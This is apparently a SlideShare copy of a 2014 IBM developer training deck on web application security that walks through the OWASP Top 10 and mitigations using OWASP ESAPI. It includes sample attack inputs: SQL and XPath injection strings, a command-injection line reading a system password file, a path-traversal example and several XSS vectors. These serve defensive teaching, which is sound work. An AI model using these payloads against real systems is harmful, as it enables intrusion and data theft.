SlideShare a Scribd company logo
1 of 35
© 2014 IBM Corporation2
● The code that we write is not safe !
● Learn by exemplifying
● Introduce developer to security APIs
© 2014 IBM Corporation3
Interesting facts
● Myth: We are secure because we have a firewall
– 75% of vulnerabilities are at web application layer
Gartner Group (2002 report)
– Basically network layer protection just denies access to
services
● Myth: I am safe because I‘m connected via HTTPS/SSL
– HTTPS will just ensure that no one intercepts the
information.
– A web page can include static resources or other content
from the same host via a non secure channel
© 2014 IBM Corporation4
Interesting facts
● NASA counted 5,408 security breaches where some access was
given or malicious software was installed. In 2011 alone
they had 47 attacks they described as ―advanced persistent
threats,‖ serious attacks by well-funded ―individuals or
nations.‖ Of those, 13 succeeded, and one attack based in
China gained complete access to Jet Propulsion Laboratory
(JPL) systems — read, write, delete, add and delete
users, modify logs, everything.
● Paul Marting ( NASA inspector general ) in a written testimony to US
government
● Visa, MasterCard, AmericanExpress & Discover Financial
Systems, were hit in March by a data-security breach when a
third-party service provider ( Global Payments Inc.)
discovered its systems were compromised
● www.reuters.com
© 2014 IBM Corporation5
Let’s start with OWASP Top 10
© 2014 IBM Corporation6
● Open web application security project ( www.owasp.org)
● not-for-profit worldwide charitable organization focused on
improving the security of application software.
● Users and adopters of APIs and standards: US Federal Trade
Commision,Citibank, PwC, HP, IBM Global Services, US Bureau of
Alcohol Tobacco and Firearms,etc.
● OWASP Top Ten 2013 ( the 10 most common security flaws found
in web applications in 2013 ):
● A1 : Injection
● A2 : Broken Authentication and Session Management
● A3 : Cross-Site Scripting (XSS)
● A4 : Insecure Direct Object References
● A5 : Security Misconfiguration
● A6 : Sensitive Data Exposure
● A7 : Insecure Cryptographic Storage
● A8 : Cross-Site Request Forgery (CSRF)
● A9 : Using component with known vulnerabilities
● A10: Un-validated Redirects and Forwards
OWASP Top Ten
© 2014 IBM Corporation7
A1 Injection
● Various forms of injection
● SQL Injection
● Xpath injection
● Command injection
● Path based injection
● LDAP injection
● Etc.
© 2014 IBM Corporation
Select user_information
from user_table
where username='’' or 1=1 -– 'and
password=’abc’
8 A1 Injection
Select user_information from user_table
where username=’input username’ and password=’input password’
Web Server Application Server
User Database
User
https
SQL injection
© 2014 IBM Corporation9 A1 Injection
Xpath injection
FindUserXPath becomes :
//Employee[UserName/text()='blah' or 1=1 or 'a'='a' And
Password/text()='blah']
Web Server Application Server
User Database
User
https
FindUserXPath = "//Employee[UserName/text()='" + Request("Username")
+ "' And Password/text()='" + Request("Password") + "']";
<?xml version="1.0" encoding="utf-8"?>
<Employees>
<Employee ID="1">
<FirstName>Arnold</FirstName>
<LastName>Baker</LastName>
<UserName>ABaker</UserName>
<Password>SoSecret</Password>
<Type>Admin</Type>
</Employee>
<Employee ID="2">
<FirstName>Peter</FirstName>
<LastName>Pan</LastName>
<UserName>PPan</UserName>
<Password>NotTelling</Password>
<Type>User</Type>
</Employee>
</Employees>
© 2014 IBM Corporation10 A1 Injection
Command injection
Web Server Application Server
User Database
User
https
$ ls -l .profile ; cat /etc/password
$ “ls -l” + request.getParameter(“file_name”)
© 2014 IBM Corporation11
Path based injection ( manipulation / traversal )
● Atacker gains access to system files by
manipulating a 'path/to/file.txt' supplied
as a parameter
● For plain files, one can browse through the
file system with directory style paths (
../../../../conf/tomcat-users.xml )
● demo
© 2014 IBM Corporation12 A3 Broken authentication and session management
A2 Broken Authentication and Session Management
Attacker uses leaks or flaws in the
authentication or session management functions
to impersonate users.
• e.g., exposed accounts, passwords, session IDs
© 2014 IBM Corporation13 A3 Broken authentication and session management
● Session ids should not be exposed in the URL (
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJ
UN2JV?dest=Hawaii )
● They will get recorded in logs of servers, proxies and routers can be
easily distributed
● Session cookies must be manipulated only by http headers sent by the
server (HttpOnly flag)
● Sessions should timeout in accordance to application risk rating
● All navigation within that domain should be secure (https) because an
attacker can 'snif' the session id and steal the session.
● Setting 'secure' flag on session cookies is a must. This way
session cookie will not be sent on insecure channels ( e.g.
including static resources or embedding remote html )
● Session ids should change after a login attempt
● This prevents session fixation attacks when an attacker obtains (by some
other means) the value of the session id and if the target user has a
valid logged-in session on a server, the attacker is able to join the
session just by setting the session cookie
● demo
A2 Broken Authentication and Session Management
© 2014 IBM Corporation14 A2 Cross site scripting
A3 Cross site scripting
● Stored XSS
● Reflected XSS
© 2014 IBM Corporation15 A2 Cross site scripting
Stored XSS attacks
● An input field which is not properly validated will insert script tags
besides the usual field value
● If the field is displayed literally in another part of the
application, it will result in the code within the script tags being
executed
Web Server Application Server
User Database
User
https
Web Server Application Server
User Database
User
https
© 2014 IBM Corporation16 A2 Cross site scripting
Other flavors of XSS
● Reflected input
● Input from the user is echoed to the screen. (e.g.
error messages like 'input X is invalid' – in this
case X can contain XSS code and more then often can
be sent to a different user via an URL)
● Pretty much all tags are vulnerable to XSS:
● All tags contain event functions
(onmouseover,onkeyup, etc.) and they can be passed
in as input somewhere
● HTML attributes are also vulnerable
● E.g <frame>, <iframe> and <img> can have the src
attribute javascript injectable ( e.g <iframe
src=‖javascript:alert(1)‖/> will be executed by
most browsers )
● Even css style tags are vulnerable.
● demo
© 2014 IBM Corporation
Other flavors of XSS
● And XSS attack vector list goes on:
● <BODY BACKGROUND="javascript:alert('XSS')">
● <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
● <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
● <META HTTP-EQUIV="Link"
Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
● <STYLE>.XSS{background-
image:url("javascript:alert('XSS')");}</STYLE><A
CLASS=XSS></A>
● Comprehensive list of vectors:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
© 2014 IBM Corporation18 A2 Cross site scripting
Dangerous use of eval
● This is usually done when behavior of page
needs to be controlled from the server.
● E.g show different alert() windows.
● eval() function is the most dangerous. Do not
put dynamic content in the eval() function.
● The reason for this is that validation of input
which goes between the brackets of the eval()
is hard to validate. You can basically write js
and have the browser interpret it using a
simple set of characters.
● In some cases js code can NOT be
escaped/commented ( OWASP directive ), so it is
really hard to defend against this attack.
● demo
© 2014 IBM Corporation19 A4: Insecure Direct Object References & A5 Cross site request forgery
A4: Insecure Direct Object References & CSRF
● Cross site request forgery (CSRF)
● Direct object references
© 2014 IBM Corporation20 A4: Insecure Direct Object References & A5 Cross site request forgery
Request forgery and weak access control
● Attacker will 'forge' request
parameters based on 'similarities'
between actions and navigation
● Easiest to forge will be ids which are
usually sequential integers
● Normally all actions within an
application should rely on
authenticated principal(user) and NOT
on supplied parameters
● demo
© 2014 IBM Corporation21 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
A7 Insecure cryptographic storage &
A9: Insufficient Transport Layer Protection
© 2014 IBM Corporation22 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
Insecure HTTP header authentication
● Http header authentication is nothing but a
Base64 encoding of 'username:password‗
● Make sure all HTTP authenticated traffic is
encrypted
GET /exchange/ HTTP/1.1
Host: webmail.xxxx.xx
Connection: keep-alive
Cache-Control: max-age=0
Authorization: Basic dTI5ODMyOTpteV9wYXNzd29yZA==
User-Agent: Mozilla/5.0 (Windows NT 5.1) .....
Accept:text/html,application/xhtml+xml,.....
.....
dTI5ODMyOTpteV9wYXNzd29yZA==
u298329:my_password
© 2014 IBM Corporation
Encryption algorithm strength
Numar de
caractere
Algoritm incriptare Nr chei / secunda Alfabet Timp
5 Raw MD5 8754 a-z, A-Z 44 seconds
5 Raw MD 5 8754 a-z, A-Z, 0-9 1 minutes 46 seconds
5 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 minutes 53 seconds
5 Raw SHA-256 2600 a-z, A-Z 2 minutes 29 seconds
5 Raw SHA-256 2600 a-z, A-Z, 0-9 5 minutes 58 seconds
5 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 16 minutes 28 seconds
6 Raw MD5 8754 a-z, A-Z 38 minutes 22 seconds
6 Raw MD 5 8754 a-z, A-Z, 0-9 1 hours 49 minutes 54 seconds
6 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 6 hours 11 minutes 46 seconds
6 Raw SHA-256 2600 a-z, A-Z 2 hours 9 minutes 13 seconds
6 Raw SHA-256 2600 a-z, A-Z, 0-9 6 hours 10 minutes 4 seconds
6 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+= 20 hours 51 minutes 43 seconds
8 Raw MD5 8754 a-z, A-Z 72 days 1 hours 37 minutes
8 Raw MD 5 8754 a-z, A-Z, 0-9 293 days 9 hours 50 minutes
8 Raw MD 5 8754 a-z, A-Z, 0-9, !@#$%^&*()_+= 4 years 30 days 5 hours 57 minutes
8 Raw SHA-256 2600 a-z, A-Z 242 days 15 hours 29 minutes
8 Raw SHA-256 2600 a-z, A-Z, 0-9 2 years 257 days 9 hours 43 minutes
8 Raw SHA-256 2600 a-z, A-Z, 0-9, !@#$%^&*()_+=
13 years 272 days 15 hours 55 minutes
© 2014 IBM Corporation24 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
Password strength
Brute-forcing passwords
• '1234567890' can be cracked in 472 s
• 'plainpw' can be cracked in 420 s
• 'PlainPw' can be cracked in 1681 s
• 'Pl4inPw' can be cracked in 126 days
• 'P|4inPw' can be cracked in 21 years
© 2014 IBM Corporation25 A10 Unvalidated redirects and forwards
A10 Unvalidated redirects and forwards
© 2014 IBM Corporation26 A7 Insuficient cryptographic storage & A9: Insufficient Transport Layer Protection
Password strength
Be careful when using forward() and include()
• It‘s an internal mechanism which will bypass
standard AS authorization
• request.getRequestDispatcher(―protectedUrl‖)
• forward()
• include()
• demo
© 2014 IBM Corporation27
Mitigating security threats
© 2014 IBM Corporation28
● OWASP created the ESAPI in order to 'mitigate'
the top 10 risks. The API is available in
pretty much every language ( JEE,PHP,
.NET,Python, Ruby, etc.)
● It is basically a collection of classes (API) that
encapsulate the key security operations that an
application needs
● It has been designed to make it easy for programmers
to retrofit security into existing applications
● It is scalable at enterprise levels
© 2014 IBM Corporation
● It addresses the following aspects:
– Authentication
– Access control
– Input validation
– Output encoding/escaping
– Cryptography
– Error handling and logging
– Communication security
– HTTP security
– Security configuration
– And many more…
OWASP ESAPI
© 2014 IBM Corporation30 Input and output validation
Mitigating XSS and Injection attacks
• Canonicalize input
• Convert encoded %3c%3e → <>
• Convert encoded &#x3c;&#x3e; → <>
• Validate input (at least for these characters <>;:”'()'&)
• Best practice is to throw away potentially harmful content.
Do not try to 'clean up' the content, because many cleanup
algorithms can be circumvented ( OWASP )
• e.g. some_string.replaceAll(“<script>”,””); attacker can just
pass in “<scr<script>ipt>” and the result will be <script>
• Attack vector can also be “< script >”
• Can very well be “ < ScRiPt >”
• Use a whitelist of characters instead of blacklist (
permitted vs unpermitted ). The blacklist can never be
comprehensive enough.
• Attacks can be extremely complex, so there is also a wide
range of characters that can pose threats
© 2014 IBM Corporation31 Input and output validation
Mitigating XSS and Injection attacks
• It is designed to throw meaningfull exception if an attack is suspected
●IntrusionException in case a potential attack is detected ( harmfull
characters present)
● ValidationException in case an validation rules fail ( double encoding
present and an attack is suspected)
–For Http parameters
●ESAPI.validator().assertValidHTTPParameters(...)
–For file path based parameters
●ESAPI.validator().getValidDirectoryPath(..)
●ESAPI.validator().getValidFileName(..)
–For plain HTML input
●ESAPI.validator().getValidInput(..)
Use ESAPI Validator
© 2014 IBM Corporation32 Input and output validation
● Contextually encode output
– For HTML ( e.g ESAPI HTML encoder )
● ESAPI.encoder().encodeForHTML(..)
– For tag attributes (e.g ESAPI HTML attribute
encoder )
● ESAPI.encoder().encodeForHTMLAttribute(..)
– For CSS ( e.g ESAPI CSS encoder )
● ESAPI.encoder().encodeForCSS(..)
– For Javascript ( e.g. ESAPI Javascript encoder)
● ESAPI.encoder().encodeForJavascript(..)
– For queries in LDAP Dbs:
– demo
● ESAPI.encoder().encodeForDN(...)
Mitigating XSS and Injection attacks
Use ESAPI encoder
© 2014 IBM Corporation33
Encoding of output example
● A developer can also encode output. Using the ESAPI.encoder() you
can generate safe HTML, Js, CSS,...
● Below we are encoding this string → <>"'%&.()[]@#//-+
– Encoding for HTML :
– &lt;&gt;&quot;&#x27;&#x25;&amp;.&#x28;&#x29;&#x5b;&#x5d;&#x
40;&#x23;&#x2f;&#x2f;-&#x2b;
– Encoding for CSS :
– 3c 3e 22 27 25 26 2e 28 29 5b 5d 40 23 2f 2f
2d 2b
– Encoding for JS :
– x3Cx3Ex22x27x25x26.x28x29x5Bx5Dx40x23x2Fx2Fx
2Dx2B
– Encoding for html attribute :
– &lt;&gt;&quot;&#x27;&#x25;&amp;.&#x28;&#x29;&#x5b;&#x5d;&#x
40;&#x23;&#x2f;&#x2f;-&#x2b;
© 2014 IBM Corporation34
● Keep things simple
● Use mature APIs/frameworks
● Don‘t give away info about the system
● 404 errors, exceptions, html comments
● Keep entire site under https
● Encode output contextually
● Validate input globally
● Keep sessionid safe ( httponly, secure )
● Change it after successful login
Checklist
© 2014 IBM Corporation35
Thank you !
by Victor Bucutea

More Related Content

What's hot

Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelinesZakaria SMAHI
 
Phu appsec13
Phu appsec13Phu appsec13
Phu appsec13drewz lin
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web applicationSecurity Bootcamp
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsKaty Anton
 
Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and RemediesPost XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and RemediesAdwiteeya Agrawal
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equalCsrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equaldrewz lin
 
Secure code practices
Secure code practicesSecure code practices
Secure code practicesHina Rawal
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveGreenD0g
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practicesScott Hurrey
 
Top 10 Web Hacks 2012
Top 10 Web Hacks 2012Top 10 Web Hacks 2012
Top 10 Web Hacks 2012Matt Johansen
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearyWeb security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearydrewz lin
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionDaniel Owens
 
RSA Europe 2013 OWASP Training
RSA Europe 2013 OWASP TrainingRSA Europe 2013 OWASP Training
RSA Europe 2013 OWASP TrainingJim Manico
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application DefenseFrank Kim
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedPrathan Phongthiproek
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the WebMike Crabb
 
Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016
Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016
Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016SecuRing
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS ApplicationPhilippe De Ryck
 

What's hot (20)

Owasp top 10 2013
Owasp top 10 2013Owasp top 10 2013
Owasp top 10 2013
 
Secure coding guidelines
Secure coding guidelinesSecure coding guidelines
Secure coding guidelines
 
Phu appsec13
Phu appsec13Phu appsec13
Phu appsec13
 
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh  - Some new vulnerabilities in modern web applicationNguyen Phuong Truong Anh  - Some new vulnerabilities in modern web application
Nguyen Phuong Truong Anh - Some new vulnerabilities in modern web application
 
OWASP Top 10 Proactive Controls
OWASP Top 10 Proactive ControlsOWASP Top 10 Proactive Controls
OWASP Top 10 Proactive Controls
 
Post XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and RemediesPost XSS Exploitation : Advanced Attacks and Remedies
Post XSS Exploitation : Advanced Attacks and Remedies
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equalCsrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
 
Secure code practices
Secure code practicesSecure code practices
Secure code practices
 
MITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another PerspectiveMITM Attacks on HTTPS: Another Perspective
MITM Attacks on HTTPS: Another Perspective
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Top 10 Web Hacks 2012
Top 10 Web Hacks 2012Top 10 Web Hacks 2012
Top 10 Web Hacks 2012
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-kearyWeb security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
 
Web Security 101
Web Security 101Web Security 101
Web Security 101
 
Application and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental EditionApplication and Website Security -- Fundamental Edition
Application and Website Security -- Fundamental Edition
 
RSA Europe 2013 OWASP Training
RSA Europe 2013 OWASP TrainingRSA Europe 2013 OWASP Training
RSA Europe 2013 OWASP Training
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Web Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or SucceedWeb Application Firewall: Suckseed or Succeed
Web Application Firewall: Suckseed or Succeed
 
Hacking the Web
Hacking the WebHacking the Web
Hacking the Web
 
Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016
Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016
Internet banking safeguards vulnerabilities - OWASP AppSec EU 2016
 
Securing your AngularJS Application
Securing your AngularJS ApplicationSecuring your AngularJS Application
Securing your AngularJS Application
 

Viewers also liked

Extend Enterprise Application-level Security to Your AWS Environment
Extend Enterprise Application-level Security to Your AWS EnvironmentExtend Enterprise Application-level Security to Your AWS Environment
Extend Enterprise Application-level Security to Your AWS EnvironmentImperva
 
Content Security Policy
Content Security PolicyContent Security Policy
Content Security PolicyRyan LaBouve
 
Surfer en toute legalite sur le net
Surfer en toute legalite sur le netSurfer en toute legalite sur le net
Surfer en toute legalite sur le netAAT's
 
AppSec California 2017 CSP: The Good, the Bad and the Ugly
AppSec California 2017 CSP: The Good, the Bad and the UglyAppSec California 2017 CSP: The Good, the Bad and the Ugly
AppSec California 2017 CSP: The Good, the Bad and the UglyEli Nesterov
 
AppSec USA 2016: Demystifying CSP
AppSec USA 2016: Demystifying CSPAppSec USA 2016: Demystifying CSP
AppSec USA 2016: Demystifying CSPEli Nesterov
 
Preventing XSS with Content Security Policy
Preventing XSS with Content Security PolicyPreventing XSS with Content Security Policy
Preventing XSS with Content Security PolicyKsenia Peguero
 
Formation expliquer internet et la loi par Vincent Ruy
Formation expliquer internet et la loi par Vincent Ruy Formation expliquer internet et la loi par Vincent Ruy
Formation expliquer internet et la loi par Vincent Ruy RUY
 
W3C Content Security Policy
W3C Content Security PolicyW3C Content Security Policy
W3C Content Security PolicyMarkus Wichmann
 
Getting Browsers to Improve the Security of Your Webapp
Getting Browsers to Improve the Security of Your WebappGetting Browsers to Improve the Security of Your Webapp
Getting Browsers to Improve the Security of Your WebappFrancois Marier
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity George Boobyer
 
Web Security Automation: Spend Less Time Securing your Applications
 	  Web Security Automation: Spend Less Time Securing your Applications 	  Web Security Automation: Spend Less Time Securing your Applications
Web Security Automation: Spend Less Time Securing your ApplicationsAmazon Web Services
 
BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...
BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...
BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...CNIL ..
 
Intervention CNIL : droit des internautes et obligations des e-marchands
Intervention CNIL : droit des internautes et obligations des e-marchandsIntervention CNIL : droit des internautes et obligations des e-marchands
Intervention CNIL : droit des internautes et obligations des e-marchandsNet Design
 

Viewers also liked (15)

Extend Enterprise Application-level Security to Your AWS Environment
Extend Enterprise Application-level Security to Your AWS EnvironmentExtend Enterprise Application-level Security to Your AWS Environment
Extend Enterprise Application-level Security to Your AWS Environment
 
Content Security Policy
Content Security PolicyContent Security Policy
Content Security Policy
 
Surfer en toute legalite sur le net
Surfer en toute legalite sur le netSurfer en toute legalite sur le net
Surfer en toute legalite sur le net
 
AppSec California 2017 CSP: The Good, the Bad and the Ugly
AppSec California 2017 CSP: The Good, the Bad and the UglyAppSec California 2017 CSP: The Good, the Bad and the Ugly
AppSec California 2017 CSP: The Good, the Bad and the Ugly
 
AppSec USA 2016: Demystifying CSP
AppSec USA 2016: Demystifying CSPAppSec USA 2016: Demystifying CSP
AppSec USA 2016: Demystifying CSP
 
Preventing XSS with Content Security Policy
Preventing XSS with Content Security PolicyPreventing XSS with Content Security Policy
Preventing XSS with Content Security Policy
 
Formation expliquer internet et la loi par Vincent Ruy
Formation expliquer internet et la loi par Vincent Ruy Formation expliquer internet et la loi par Vincent Ruy
Formation expliquer internet et la loi par Vincent Ruy
 
Content security policy
Content security policyContent security policy
Content security policy
 
W3C Content Security Policy
W3C Content Security PolicyW3C Content Security Policy
W3C Content Security Policy
 
Getting Browsers to Improve the Security of Your Webapp
Getting Browsers to Improve the Security of Your WebappGetting Browsers to Improve the Security of Your Webapp
Getting Browsers to Improve the Security of Your Webapp
 
DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity DrupalCamp London 2017 - Web site insecurity
DrupalCamp London 2017 - Web site insecurity
 
Web Security Automation: Spend Less Time Securing your Applications
 	  Web Security Automation: Spend Less Time Securing your Applications 	  Web Security Automation: Spend Less Time Securing your Applications
Web Security Automation: Spend Less Time Securing your Applications
 
Security HTTP Headers
Security HTTP HeadersSecurity HTTP Headers
Security HTTP Headers
 
BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...
BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...
BAROMETRE 2016 | Les pratiques numériques et la maîtrise des données personne...
 
Intervention CNIL : droit des internautes et obligations des e-marchands
Intervention CNIL : droit des internautes et obligations des e-marchandsIntervention CNIL : droit des internautes et obligations des e-marchands
Intervention CNIL : droit des internautes et obligations des e-marchands
 

Similar to Web Apps Security

Drupal Security Basics for the DrupalJax January Meetup
Drupal Security Basics for the DrupalJax January MeetupDrupal Security Basics for the DrupalJax January Meetup
Drupal Security Basics for the DrupalJax January MeetupChris Hales
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developersJohn Ombagi
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp dotnetcode
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...IBM Security
 
6 - Web Application Security.pptx
6 - Web Application Security.pptx6 - Web Application Security.pptx
6 - Web Application Security.pptxAlmaOraevi
 
Pentesting RESTful webservices
Pentesting RESTful webservicesPentesting RESTful webservices
Pentesting RESTful webservicesMohammed A. Imran
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Jeremiah Grossman
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultMohammed ALDOUB
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...nooralmousa
 
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...LogeekNightUkraine
 
An Introduction to Secure Application Development
An Introduction to Secure Application DevelopmentAn Introduction to Secure Application Development
An Introduction to Secure Application DevelopmentChristopher Frenz
 
owasp top 10 security risk categories and CWE
owasp top 10 security risk categories and CWEowasp top 10 security risk categories and CWE
owasp top 10 security risk categories and CWEArun Voleti
 
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers Lewis Ardern
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecurityAbdul Wahid
 
Problems with parameters b sides-msp
Problems with parameters b sides-mspProblems with parameters b sides-msp
Problems with parameters b sides-mspMike Saunders
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012ZIONSECURITY
 
Solvay secure application layer v2015 seba
Solvay secure application layer v2015   sebaSolvay secure application layer v2015   seba
Solvay secure application layer v2015 sebaSebastien Deleersnyder
 
Web application vulnerability assessment
Web application vulnerability assessmentWeb application vulnerability assessment
Web application vulnerability assessmentRavikumar Paghdal
 

Similar to Web Apps Security (20)

Drupal Security Basics for the DrupalJax January Meetup
Drupal Security Basics for the DrupalJax January MeetupDrupal Security Basics for the DrupalJax January Meetup
Drupal Security Basics for the DrupalJax January Meetup
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
A security note for web developers
A security note for web developersA security note for web developers
A security note for web developers
 
Meetup DotNetCode Owasp
Meetup DotNetCode Owasp Meetup DotNetCode Owasp
Meetup DotNetCode Owasp
 
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
Avoiding Application Attacks: A Guide to Preventing the OWASP Top 10 from Hap...
 
6 - Web Application Security.pptx
6 - Web Application Security.pptx6 - Web Application Security.pptx
6 - Web Application Security.pptx
 
Pentesting RESTful webservices
Pentesting RESTful webservicesPentesting RESTful webservices
Pentesting RESTful webservices
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Secure Software Engineering
Secure Software EngineeringSecure Software Engineering
Secure Software Engineering
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
Dmytro Kochergin - "The OWASP TOP 10 - Typical Attacks on Web Applications an...
 
An Introduction to Secure Application Development
An Introduction to Secure Application DevelopmentAn Introduction to Secure Application Development
An Introduction to Secure Application Development
 
owasp top 10 security risk categories and CWE
owasp top 10 security risk categories and CWEowasp top 10 security risk categories and CWE
owasp top 10 security risk categories and CWE
 
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
AppSec Tel Aviv - OWASP Top 10 For JavaScript Developers
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
Problems with parameters b sides-msp
Problems with parameters b sides-mspProblems with parameters b sides-msp
Problems with parameters b sides-msp
 
OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012OWASP Top 10 vs Drupal - OWASP Benelux 2012
OWASP Top 10 vs Drupal - OWASP Benelux 2012
 
Solvay secure application layer v2015 seba
